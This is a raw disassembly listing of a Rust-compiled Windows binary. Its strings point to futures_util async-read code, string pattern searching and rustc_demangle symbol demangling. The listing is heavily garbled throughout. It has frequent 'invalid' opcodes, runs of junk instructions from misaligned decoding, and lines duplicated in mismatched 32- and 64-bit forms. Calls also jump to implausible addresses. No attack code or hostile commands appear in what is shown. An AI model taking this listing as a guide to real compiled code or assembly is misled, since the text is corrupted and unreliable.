mov rax, qword [rsp + 0x58]
cmp rax, r15
cmp eax, edi
cmp eax, edi
cmovb r15, rax
mov r14, r15
add r14, rdx
jb 0x1400c81a1
cmp r14, r12
ja 0x1400c81b3
mov r13, qword [rsi + 0x18]
add rdx, r13
mov rcx, qword [rsp + 0x50]
mov r8, r15
call fcn.140106250
mov qword [rsi + 8], r14
cmp r12, r14
jne 0x1400c814f
mov rax, qword [rsi + 0x10]
mov rcx, rdi
mov rdx, r13
mov r8, r12
call qword [rax + 0x10]
mov qword [rsi], 1
jmp 0x1400c814f
mov eax, 2
jmp 0x1400c8182
cmp qword [rsi], 0
jne 0x1400c8145
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
mov rcx, rdi
adc byte [rax - 0x75], r9b
push rsi
sbb byte [rbx + rcx*4 + 0x46], cl
and byte [rax - 0x77], cl
stc
call qword [rax + 0x10]
mov qword [rsi], 2
xor r15d, r15d
xor eax, eax
jmp 0x1400c8182
mov rcx, rdx
call fcn.1400bd9f0
mov r15, rax
cmp qword [rsi], 0
jne 0x1400c8176
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
mov eax, dword [rsi + 0x20]
mov eax, dword [rsi + 0x20]
mov rcx, rdi
call qword [rax + 0x10]
mov qword [rsi], 2
mov eax, 1
mov rdx, r15
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
add byte [rax], al
add byte [rbx + 0x5d], bl
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_try_streaminto_async_read.rs
mov rcx, rdx
mov rdx, r14
call fcn.140108530
invalid
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_try_streaminto_async_read.rs
mov rcx, r14
mov rdx, r12
mov edx, esp
call fcn.140108340
int3
int3
sal al, 0x49
shl ecx, 4
loope 0x1400c81dc
loope 0x1400c81dc
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
test r9, r9
je 0x1400c8202
mov eax, dword [r8 + 0x10]
mov eax, dword [rax + 0x10]
add r8, 0x10
add eax, 0x10
add r9, 0xfffffffffffffff0
test rax, rax
je 0x1400c81e0
mov r8, qword [r8 + 8]
mov r9, rax
jmp 0x1400c7f70
outsb dx, byte [rsi]
std
invalid
invalid
outsb dx, byte [rsi]
std
invalid
inc dword [rcx - 0x48]
add dword [rax], eax
add byte [rax], al
invalid
mov r8d, 1
add byte [rax], al
add byte [rbp + 0x31], al
leave
xor r9d, r9d
jmp 0x1400c7f70
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
sub esp, 0x48
sub esp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp - 0x18], rcx
mov rbx, qword [rdx + 0x18]
mov r15, qword [rdx + 0x10]
xor r10d, r10d
mov rax, rbx
sub rax, r15
jb 0x1400c8528
mov rcx, qword [rdx + 8]
mov qword [rbp - 0x10], rcx
invalid
invalid
cmp rbx, rcx
ja 0x1400c8528
invalid
mov rcx, qword [rdx]
mov qword [rbp - 8], rcx
lea r8, [rcx + r15]
movzx ecx, byte [rdx + 0x28]
sub byte [rdi], cl
mov dh, 0x7c
or bl, byte [rdi]
sub byte [rdi], cl
mov dh, 0x7c
or bl, byte [rdi]
movabs r13, 0x101010101010101
imul r13, rdi
mov qword [rbp], rcx
add byte [r8 - 0x7d], r9b
stc
add al, 0xf
xchg byte [rax + 1], bl
add byte [rax], al
add byte [r8 - 0x7d], r9b
add byte [rax - 0x7d], cl
stc
add al, 0xf
xchg byte [rax + 1], bl
add byte [rax], al
xor r10d, r10d
movabs r9, 0xfefefefefefefeff
movabs rcx, 0x8080808080808080
jmp 0x1400c82b4
mov rax, qword [rbp - 8]
lea r8, [rax + r15]
add al, 0x38
add al, 0x38
mov rax, rbx
sub rax, r15
jb 0x1400c8528
cmp rax, 0x10
cmp eax, 0x10
jae 0x1400c82f0
cmp rbx, r15
je 0x1400c8521
test byte [rsi + 2], bl
add byte [rax], al
test byte [rsi + 2], bl
add byte [rax], al
xor esi, esi
nop word cs:[rax + rax]
cmp byte [r8 + rsi], dil
je 0x1400c83a6
invalid
add byte [rax - 1], cl
invalid
inc rsi
cmp rax, rsi
jne 0x1400c82d0
jmp 0x1400c8521
lea r11, [r8 + 7]
lea ebx, [rax + 7]
and r11, 0xfffffffffffffff8
jrcxz 0x1400c82f0
sub r11, r8
jne 0x1400c8306
lea rsi, [rax - 0x10]
xor r11d, r11d
jmp 0x1400c8335
invalid
cmp r11, rax
cmovae r11, rax
xor esi, esi
invalid
nop
not byte [rax + 0x303c3841]
cmp byte [r8 + rsi], dil
je 0x1400c83a6
inc rsi
cmp r11, rsi
jne 0x1400c8310
lea rsi, [rax - 0x10]
nop word cs:[rax + rax]
invalid
cmp r11, rsi
ja 0x1400c8370
mov r14, qword [r8 + r11]
xor r14, r13
lea r12, [r14 + r9]
not r14
and r14, r12
mov r12, qword [r8 + r11 + 8]
sbb byte [rax], cl
xor r12, r13
lea r10, [r12 + r9]
not r12
and r12, r10
or r12, r14
test r12, rcx
int3
int3
jne 0x1400c8370
add r11, 0x10
jmp 0x1400c8330
sub rax, r11
mov r10d, 0
je 0x1400c8521
add r8, r11
xor esi, esi
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
cmp byte [r8 + rsi], dil
je 0x1400c83a3
inc rsi
cmp rax, rsi
jne 0x1400c8390
jmp 0x1400c8521
add byte [rcx + rax - 0x22], cl
add rsi, r11
add r15, rsi
inc r15
mov qword [rdx + 0x10], r15
cmp r15, qword [rbp]
jb 0x1400c82a0
out 0xfe, al
invalid
invalid
out 0xfe, al
invalid
cmp r15, qword [rbp - 0x10]
ja 0x1400c82a0
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_strpattern.rs
or al, byte [rax]
mov edx, 4
mov rcx, qword [rbp]
call fcn.140108340
lea rcx, [rdx + 0x20]
mov qword [rbp - 0x20], rcx
movabs r12, 0xfefefefefefefeff
movabs r14, 0x8080808080808080
cmp rax, 0x10
jae 0x1400c8430
cmp rbx, r15
je 0x1400c8521
xor r10d, r10d
nop word [rax + rax]
cmp byte [r8 + r10], dil
je 0x1400c84c3
invalid
inc r10
cmp rax, r10
jne 0x1400c8410
jmp 0x1400c8521
invalid
lea r9, [r8 + 7]
lea ecx, [rax + 7]
and r9, 0xfffffffffffffff8
sub r9, r8
jne 0x1400c8446
lea r10, [rax - 0x10]
xor r9d, r9d
jmp 0x1400c8470
cmp r9, rax
cmovae r9, rax
xor r10d, r10d
cmp byte [r8 + r10], dil
je 0x1400c84c3
inc r10
cmp r9, r10
jne 0x1400c8450
lea r10, [rax - 0x10]
jmp 0x1400c849f
add byte [rax], al
add byte [rbx - 0x75], cl
or al, 8
mov rcx, qword [r8 + r9]
xor rcx, r13
lea r11, [rcx + r12]
not rcx
and rcx, r11
mov r11, qword [r8 + r9 + 8]
xor r11, r13
lea rsi, [r11 + r12]
not r11
and r11, rsi
or r11, rcx
test r11, r14
jne 0x1400c84a4
add r9, 0x10
cmp r9, r10
jbe 0x1400c8470
sub rax, r9
je 0x1400c8521
rcl byte [rax + 0x103c3843], cl
cmp byte [r8 + r10], dil
je 0x1400c84c0
inc r10
cmp rax, r10
jne 0x1400c84b0
jmp 0x1400c8521
add r10, r9
add edx, ecx
add r15, r10
inc r15
mov qword [rdx + 0x10], r15
mov r14, r15
sub r14, qword [rbp]
jb 0x1400c84fb
cmp r15, qword [rbp - 0x10]
ja 0x1400c84fb
lea ecx, [rax + rsi]
mov rsi, rdx
mov rdx, qword [rbp - 0x20]
mov r8, qword [rbp]
call fcn.1401068d0
mov rdx, rsi
test eax, eax
je 0x1400c8540
mov rax, qword [rbp - 8]
lea r8, [rax + r15]
add al, 0x38
cmp byte [rax - 0x77], cl
fmul dword [rcx + rbp - 8]
cmp byte [rax - 0x77], cl
fmul dword [rcx + rbp - 8]
mov r10d, 0
movabs r14, 0x8080808080808080
add byte [rax - 0x7f7f7f80], 0x80
or byte [rdi], 0x83
adc esi, 0xfffffffe
invalid
invalid
add byte [rax - 0x7f7f7f80], 0x80
or byte [rdi], 0x83
invalid
invalid
adc esi, 0xfffffffe
invalid
jmp 0x1400c8528
mov qword [rdx + 0x10], rbx
mov dword [rdx + 0x10], ebx
xor r10d, r10d
mov rax, qword [rbp - 0x18]
mov qword [rax], r10
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x1487d0e94
mov qword [rax + 8], r14
mov qword [rax + 0x10], r15
mov r10d, 1
jmp 0x1400c8528
int3
mov rsi, rdx
mov qword [rbp - 0x10], rcx
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
invalid
lea rdx, [0x140143ca3]
mov r8d, 0xd
call qword [rax + 0x18]
mov qword [rbp - 8], rsi
and dh, byte [rdi - 0x47befff9]
or eax, 0xff000000
add bh, bh
push rax
sbb byte [rax - 0x77], cl
jne 0x1400c8586
mov byte [rbp], al
mov byte [rbp + 1], 0
lea rax, [0x140143cb0]
mov qword [rsp + 0x20], rax
lea rdx, str.kind
lea rcx, [rbp - 8]
lea r9, [rbp - 0x10]
mov r8d, 4
add al, 0
add byte [rax], al
add al, ch
jne 0x1400c857a
hlt
invalid
cmp byte [rbp + 1], 0
add dword [rax], eax
add al, ch
jne 0x1400c857a
hlt
add dword [rax], eax
movzx ecx, byte [rbp]
je 0x1400c85ec
mov al, 1
test cl, cl
jne 0x1400c860b
invalid
mov rax, qword [rbp - 8]
clc
test byte [rax + 0x34], 4
xor al, 4
jne 0x1400c85f3
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140144289]
mov r8d, 2
invalid
mov eax, 2
jmp 0x1400c8608
test cl, cl
setne al
jmp 0x1400c860b
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x81609
invalid
sub byte [rax - 0x73], cl
adc eax, 0x81609
invalid
mov r8d, 1
call qword [rax + 0x18]
nop
add rsp, 0x48
pop rsi
pop rbp
ret
int3
int3
mov r8, qword [rcx + rax*8]
lea rcx, [0x1401443b8]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0x495d
jmp r9
invalid
int3
sub esp, 0x90
lea rbp, [rsp + 0x80]
mov rsi, rcx
mov rcx, qword [rcx]
test rcx, rcx
je 0x1400c8bc6
mov eax, dword [rsi + 0x18]
inc eax
mov dword [rsi + 0x18], eax
cmp eax, 0x1f4
jbe 0x1400c86c9
je case.0x1400b7609.55
lea rdx, [0x1401441f8]
lea edx, [0x1401441f8]
mov r8d, 0x19
call fcn.140013870
mov dil, 1
test al, al
ror byte [rdi], 0x85
jne 0x1400c86bc
add byte [rax], al
ror byte [rdi], 0x85
jne 0x1400c86bc
add byte [rax], al
mov qword [rsi], 0
add byte [rax], al
add byte [rax], al
mov byte [rsi + 8], 1
or byte [rcx], r8b
jmp 0x1400c8c2c
invalid
mov rax, qword [rsi + 0x10]
cmp rax, r8
jae case.0x1400c8702.2
movzx ebx, byte [rcx + rax]
lea r9, [rax + 1]
add dword [rcx + rcx*4 + 0x4e], ecx
adc byte [rbp + rcx*4 + 0x53], al
mov esi, 0x17fa8341
add dword [rcx + rcx*4 + 0x4e], ecx
adc byte [rbp + rcx*4 + 0x53], al
mov esi, 0x17fa8341
ja case.0x1400c8702.2
lea r11, [0x140177ff4]
sbb eax, 0xaf8f9
movsxd r10, dword [r11 + r10*4]
adc al, 0x93
add r10, r11
jmp r10
cmp r9, r8
cmp ecx, eax
jae 0x1400c8735
cmp byte [rcx + r9], 0x73
jae case.0x1400b50e9.51
jne 0x1400c8735
lea r9, [rax + 2]
mov qword [rsi + 0x10], r9
cmp r9, r8
jae case.0x1400c8702.2
fld qword [rax + rax]
invalid
fld qword [rax + rax]
add byte [rdx - 0x80], al
cmp al, 9
pop rdi
cmp byte [rcx + r9], 0x5f
jne 0x1400c8aee
add rax, 3
mov qword [rsi + 0x10], rax
mov rdi, qword [rsi + 0x20]
mov qword [rsi + 0x20], 0
mov rcx, rsi
xor edx, edx
call fcn.1400c8660
test al, al
jne 0x1400c8d8d
mov qword [rsi + 0x20], rdi
test rdi, rdi
jne 0x1400c88af
add byte [rax], al
jmp 0x1400c88cf
test bl, 1
jne 0x1400c89c6
mov rcx, rsi
mov edx, edi
call fcn.1400c8660
mov dil, 1
test al, al
ror byte [rdi], 0x85
sahf
add al, 0
invalid
ror byte [rdi], 0x85
sahf
add al, 0
add byte [rax - 0x7d], cl
add byte ds:[rdi], cl
test bh, bh
add eax, dword [rax]
cmp qword [rsi], 0
je 0x1400c8b99
invalid
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp - 0x10]
mov rdx, rsi
call fcn.1400c8f50
cmp byte [rbp - 0x10], 0
jne 0x1400c8863
cmp qword [rsi], 0
je 0x1400c8bc6
test byte [rsp + rax], cl
add byte [rax], al
test byte [rsp + rax], cl
add byte [rax], al
mov r14, qword [rbp - 8]
lea rcx, [rbp - 0x10]
mov rdx, rsi
call fcn.1400c9030
or byte [rax], al
add byte [rax - 0x7d], cl
jge 0x1400c87be
add byte [rdi], cl
invalid
add dword [rbx], 0
invalid
or byte [rax], al
add byte [rax - 0x7d], cl
jge 0x1400c87be
add byte [rdi], cl
test byte [rbx + 0x48000003], al
shr ebx, 0x20
shr rbx, 0x20
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
adc byte [rbp], cl
adc byte [rbp], cl
movaps xmmword [rbp - 0x20], xmm1
sub dword [rbp - 0x20], ecx
movaps xmmword [rbp - 0x30], xmm0
cmp ebx, 0x110000
adc dword [rax], eax
adc dword [rax], eax
jne 0x1400c8c3e
mov rax, qword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
or rax, qword [rbp - 0x18]
or eax, dword [rbp - 0x18]
je 0x1400c89b4
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
leave
je 0x1400c89b4
add byte [rax], al
lea rdx, [0x140143e08]
mov r8d, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
call fcn.140013870
test al, al
jne 0x1400c8c2e
add al, 4
add byte [rax], al
mov al, 0xf4
inc dword [rax + rax*8 + 0x404850f]
add al, 4
add al, 4
add byte [rax], al
add byte [rax - 0x75], cl
push rsi
and byte [rax - 0x7b], cl
ror byte [rdi], cl
test byte [rbp + 1], bh
add byte [rax], al
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x1400c89b4
lea rcx, [rbp - 0x30]
call fcn.1400c9220
add byte [rax], al
add byte [rax], al
test al, al
je 0x1400c89b4
jmp 0x1400c8c2e
add eax, dword [rax]
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp - 0x10]
mov rdx, rsi
call fcn.1400c8f50
cmp byte [rbp - 0x10], 0
je 0x1400c89f1
invalid
jge 0x1400c884c
add byte [rdi], cl
test byte [rsi + 0xf000001], cl
add byte [rdi], cl
add byte [rdi], cl
movzx ebx, byte [rbp - 0xf]
mov dh, 0x5d
int1
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x1400c8b68
invalid
and byte [rbx + rbx*8 + 0x2f5840f], al
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
test rcx, rcx
leave
je 0x1400c8b8a
lea rdx, [0x1401441f8]
mov r8d, 0x19
add byte [rcx - 0x48], al
sbb dword [rax], eax
add byte [rax], al
jmp 0x1400c8b7a
mov rcx, rsi
call fcn.1400c8dc0
add eax, 0xb7400000
add dword [rax + rax*8 + 0x113840f], eax
add byte [rax], al
add eax, 0xb7400000
add dword [rax + rax*8 + 0x113840f], eax
add byte [rax], al
jmp 0x1400c8c2e
lea rdx, [0x140143ec3]
mov r8d, 1
add byte [rax], al
add byte [rax - 0x77], cl
stc
add byte [rax], al
add byte [rax - 0x77], cl
stc
call fcn.140013870
mov dil, 1
test al, al
jne 0x1400c8c2e
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x35f850f], eax
add byte [rax], al
mov rcx, rsi
call fcn.1400c9930
mov dil, 1
test al, al
jne 0x1400c8c2e
test dword [rbx + rax], ecx
invalid
test dword [rbx + rax], ecx
add byte [rax - 0x7bf0b205], al
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add byte [rax - 0x75], cl
cmp bl, 0x4d
je 0x1400c8991
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], r9b
leave
je 0x1400c890e
lea rdx, [0x14014422a]
mov r8d, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
call fcn.140013870
test al, al
jne 0x1400c8c2e
mov rcx, rsi
xor edx, edx
call fcn.1400c8660
test al, al
je 0x1400c8991
jmp 0x1400c8c2e
hlt
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c89b4
lea rdx, [0x140143ec2]
mov r8d, 1
call fcn.140013870
test al, al
jne 0x1400c8c2e
cmp qword [rsi], 0
je 0x1400c8c2c
dec dword [rsi + 0x18]
jmp 0x1400c8c2c
mov rcx, qword [rsi + 0x20]
test ebx, 0x100
jne case.0x1400aa99b.84
test rcx, rcx
je 0x1400c8ad9
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
jmp 0x1400c8ac9
cmp qword [rsi], 0
je 0x1400c8bc6
mov rbx, qword [rbp - 8]
lea rcx, [rbp - 0x10]
mov rdx, rsi
call fcn.1400c9030
cmp qword [rbp - 0x10], 0
je 0x1400c8b58
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x1400c89b4
lea rcx, [rbp - 0x50]
call fcn.1400c9220
mov dil, 1
test al, al
jne 0x1400c8c2e
or al, byte [rax]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x1400c8c2e
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
push rsi
and byte [rax - 0x77], cl
fld1
fdivr st(4), st(0)
inc dword [rax + rax*8 + 0x1a0850f]
add byte [rax], al
mov rax, qword [rsi + 0x20]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1401721a9]
mov r8d, 1
call qword [rax + 0x18]
test al, al
je 0x1400c89b4
jmp 0x1400c8c2e
test rcx, rcx
je 0x1400c8ad9
lea rdx, [0x1401441f8]
mov r8d, 0x19
call fcn.140013870
mov dil, 1
test al, al
jne 0x1400c8c2e
lodsd eax, dword [rsi]
hlt
shr ebx, 8
and bl, 1
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x1400c8c2c
xor eax, eax
mov r10d, 0x3e
movzx edx, byte [rcx + r9]
cmp dl, 0x5f
je 0x1400c8bee
lea r11d, [rdx - 0x30]
cmp r11b, 0xa
jb 0x1400c8b31
adc byte [rcx - 9], cl
loop 0x1400c8b4b
cmp byte [rsi + 0x41000000], 0xf
mov dh, 0xd3
add rax, rdx
jb case.0x1400c8702.2
add byte [rax], al
add byte [rbp + 0x39], cl
sal dword [rdx - 0x5d], 0xe9
jmp case.0x1400c8702.2
movzx ebx, byte [rbp - 8]
cmp r9, r8
jb 0x1400c8af6
jmp case.0x1400c8702.2
movzx ebx, byte [rbp - 8]
mov rcx, qword [rsi + 0x20]
test bl, bl
jne case.0x140091ebb.229
invalid
dec dword [rax - 0x7b]
leave
test rcx, rcx
je 0x1400c8b8a
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140013870
mov dil, 1
test al, al
jne 0x1400c8c2e
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x1400c8c2c
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c8c2c
lea rdx, [0x140143e08]
mov r8d, 2
call fcn.140013870
test al, al
jne 0x1400c8c2e
invalid
jb 0x1400c8c05
cmp qword [rsi], 0
cmp dword [rsi], 0
jne 0x1400c879a
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x1400c8c2c
lea rdx, [0x140144211]
mov r8d, 1
add byte [rax - 0x7f], cl
invalid
nop
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
pop r14
pop rbp
jmp fcn.140013870
add byte [rax - 0x7f], cl
invalid
inc r9
mov qword [rsi + 0x10], r9
cmp rax, 0xfffffffffffffffd
jbe 0x1400c8735
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
je 0x1400c8c21
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140013870
mov dil, 1
test al, al
jne 0x1400c8c2e
mov qword [rsi], 0
mov byte [rsi + 8], 0
xor edi, edi
mov eax, edi
add rsp, 0x90
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c8c63
lea rdx, [0x14014421b]
mov r8d, 3
call fcn.140013870
test al, al
jne 0x1400c8c2e
mov rax, qword [rsi + 0x20]
jmp 0x1400c8c65
xor eax, eax
cmp ebx, 0x43
je 0x1400c8c83
cmp ebx, 0x53
jne 0x1400c8c9f
test rax, rax
je 0x1400c8cbb
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
lea rcx, str._fmt::Error_s_should_be_impossible_without_a__fmt::Formatter_
lea r9, [0x140143c18]
lea r8, [rbp - 0x10]
mov edx, 0x3d
call fcn.140108600
int3
movzx r11d, byte [rcx]
movzx edx, r11b
test dl, dl
js 0x1400c92e0
inc rcx
cmp r15, 0x80
add byte [rax], al
add byte [rdi], cl
invalid
mov ah, 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
test dword [rax + rax - 0xb170000], esi
add al, 0
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
jmp 0x1400c97c5
add byte [rax], al
add byte [rax], al
mov r8d, edx
and r8d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp dl, 0xdf
jbe 0x1400c933f
movzx r9d, byte [rcx + 2]
shl esi, 6
and r9d, 0x3f
or r9d, esi
cmp r11b, 0xf0
jb 0x1400c935b
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x1400c93c1
add rcx, 4
cmp r15, 0x80
cmp edi, 0x80
cmp edi, 0x80
jne 0x1400c9380
jmp 0x1400c97c5
add rcx, 2
shl r8d, 6
invalid
or r8d, esi
mov edx, r8d
cmp r15, 0x80
jne 0x1400c9380
invalid
jmp 0x1400c97c5
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
cmp r15, 0x80
je 0x1400c97c5
invalid
add byte [rsi + 0x2e], ah
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov dword [rbp + r15*4 - 0x58], edx
inc r15
mov ebp, 0xc7ff49a8
cmp rcx, rax
jne 0x1400c92b0
ror dword [rdi], 0x85
invalid
jmp 0x1400c93c1
sbb byte [rax - 0x7f], cl
invalid
add rsp, 0x288
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rax
xor r15d, r15d
mov rax, qword [rbp + 0x1b8]
mov r13, qword [rbp + 0x1c8]
add rax, r13
mov qword [rbp + 0x1e0], rax
add byte [rdx - 0x73], cl
add al, 0xbd
add al, 0
add byte [rax], al
add byte [rdx - 0x73], cl
add al, 0xbd
add al, 0
add byte [rax], al
mov qword [rbp + 0x1e8], rax
mov rax, r15
not rax
not eax
not eax
mov qword [rbp + 0x1d0], rax
lea rax, [r15 + 1]
mov qword [rbp + 0x200], rax
lea r12, [rbp + r15*4 - 0x64]
mov eax, 0x2bc
mov esp, 0x48000002
mov dword [rbp + 0x1f0], eax
mov esp, 0x48000002
mov dword [rbp + 0x1f0], eax
mov r14d, 0x48
mov eax, 0x80
mov qword [rbp + 0x1f8], rax
mov edx, 0x1a
xor r8d, r8d
mov ecx, 0x24
sub rcx, r14
mov eax, 0
cmovae rax, rcx
cmp rax, 1
adc rax, 0
cmp rax, 0x1a
cmovae rax, rdx
lea ecx, [r10 - 0x61]
cmp cl, 0x1a
jb 0x1400c9469
lea ecx, [r10 - 0x30]
lea ecx, [rdx - 0x30]
cmp cl, 9
ja 0x1400c97c5
add byte [rax], al
add byte [rax], al
add r10b, 0xea
mov ecx, r10d
mov ebx, 0x1a
inc r13
movzx ecx, cl
cmp rax, rcx
jbe case.0x140068ed1.418
invalid
add byte [rcx - 1], cl
invalid
add r8, rcx
add r8, rcx
jb 0x1400c97c5
add byte [rcx - 0x73], cl
jg 0x1400c9487
lea rdi, [r15 + 1]
mov rax, r8
mov eax, eax
or rax, rdi
shr rax, 0x20
je 0x1400c9592
invalid
add byte [rcx + rcx*4 - 0x40], cl
xor edx, edx
div rdi
mov r9, rdx
ror dword [rax + 1], 1
test eax, edi
add dword [rax], eax
invalid
ror dword [rax + 1], 1
test eax, edi
add dword [rax], eax
add byte [rdi], cl
cmp ebx, 0
add byte [rax], al
invalid
add byte [rax], al
jae 0x1400c95a9
add cl, ch
adc al, byte [rbx]
add byte [rax], al
nop word cs:[rax + rax]
nop word cs:[rax + rax]
jmp 0x1400c97c5
nop word cs:[rax + rax]
cmp r13, qword [rbp + 0x1e0]
cmp ebp, dword [rbp + 0x1e0]
je 0x1400c97c5
test al, bh
add al, byte [rax]
add byte [rdx + 0x48], bh
mov edx, 0x48
sub rdx, r14
mov esi, 0
mov esi, 0
cmovae rsi, rdx
cmp rsi, 1
adc rsi, 0
cmp rsi, 0x1a
invalid
invalid
invalid
cmovae rsi, rbx
mov r9d, 0x24
sub r9, rax
sub ecx, eax
sub ecx, eax
mov edi, 0x6c
nop dword [rax]
invalid
invalid
add byte [rax - 0x77], cl
clc
mov rax, rdi
sub rax, r14
mov r11d, 0
cmovae r11, rax
cmovae ebx, eax
cmovae ebx, eax
movzx eax, byte [r13]
lea edx, [rax - 0x61]
cmp dl, 0x1a
jb 0x1400c952d
lea edx, [rax - 0x30]
cmp dl, 9
ja 0x1400c97c5
invalid
add byte [rdx + rbp*8], al
add al, 0xea
mov edx, eax
movzx r10d, dl
mov rax, r10
mul r9
mul ecx
mul ecx
jo 0x1400c97c5
add rcx, rax
jb 0x1400c97c5
cmp rsi, r10
ja 0x1400c9622
add byte [rax], al
invalid
add byte [rax], al
mov edx, 0x24
sub rdx, rsi
sub edx, esi
sub edx, esi
mov rax, r9
mul rdx
jo 0x1400c97c5
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx - 0x77], cl
ror dword [rcx - 1], 0xc5
mov r9, rax
inc r13
cmp r11, 1
adc r11, 0
cmp r11, 0x1a
cmovae r11, rbx
add rdi, 0x24
add edi, 0x24
add edi, 0x24
mov rsi, r11
cmp r13, qword [rbp + 0x1e0]
jne 0x1400c9500
test dword [rbx - 1], esi
invalid
invalid
test dword [rbx - 1], esi
invalid
jmp 0x1400c97c5
xor eax, dword [rdx]
add byte [rax], al
mov eax, r8d
xor edx, edx
div edi
mov r9d, edx
add qword [rbp + 0x1f8], rax
add byte [rdi], cl
invalid
sbb al, 2
add byte [rax], al
invalid
add byte [rdi], cl
invalid
sbb al, 2
add byte [rax], al
invalid
add byte [rax - 0x75], cl
test eax, edi
add dword [rax], eax
add byte [rax - 0x3f], cl
call 0x14b91a4d7
add al, byte [rax]
add byte [rax], al
mov rax, qword [rbp + 0x1f8]
xor eax, 0xd800
mov rax, qword [rbp + 0x1f8]
shr rax, 0x20
jne 0x1400c97c5
add byte [rax], al
add byte [rax], al
mov rax, qword [rbp + 0x1f8]
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
jb 0x1400c97c5
cmp r15, 0x7f
ja 0x1400c97c5
invalid
mov r10, r15
sub r10, r9
retf 0x2876
retf 0x2876
cmp r10, 7
jbe 0x1400c9690
mov rax, r8
mov r11, qword [rbp + 0x200]
add byte [rdx], al
add byte [rax], al
or rax, r11
shr rax, 0x20
invalid
je 0x1400c9633
and byte [rsi + rbp + 0x4c], dh
mov eax, eax
mov rax, r8
xor edx, edx
div r11
jmp 0x1400c963b
invalid
sub al, 0x90
cmp r9, 0x80
jb 0x1400c96a6
mov dword [rax], eax
add byte [rax], al
mov dword [rax], eax
add byte [rax], al
add byte [rax], al
add cl, ch
xchg esp, eax
add al, byte [rax]
add byte [rcx - 1], cl
invalid
jmp 0x1400c98b6
inc r13
add r8, rcx
jae 0x1400c9482
invalid
jmp 0x1400c97c5
mov eax, r8d
xor edx, edx
sal byte [rcx], 0xd2
div r11d
div ebx
mov rdx, r10
and rdx, 0xfffffffffffffff8
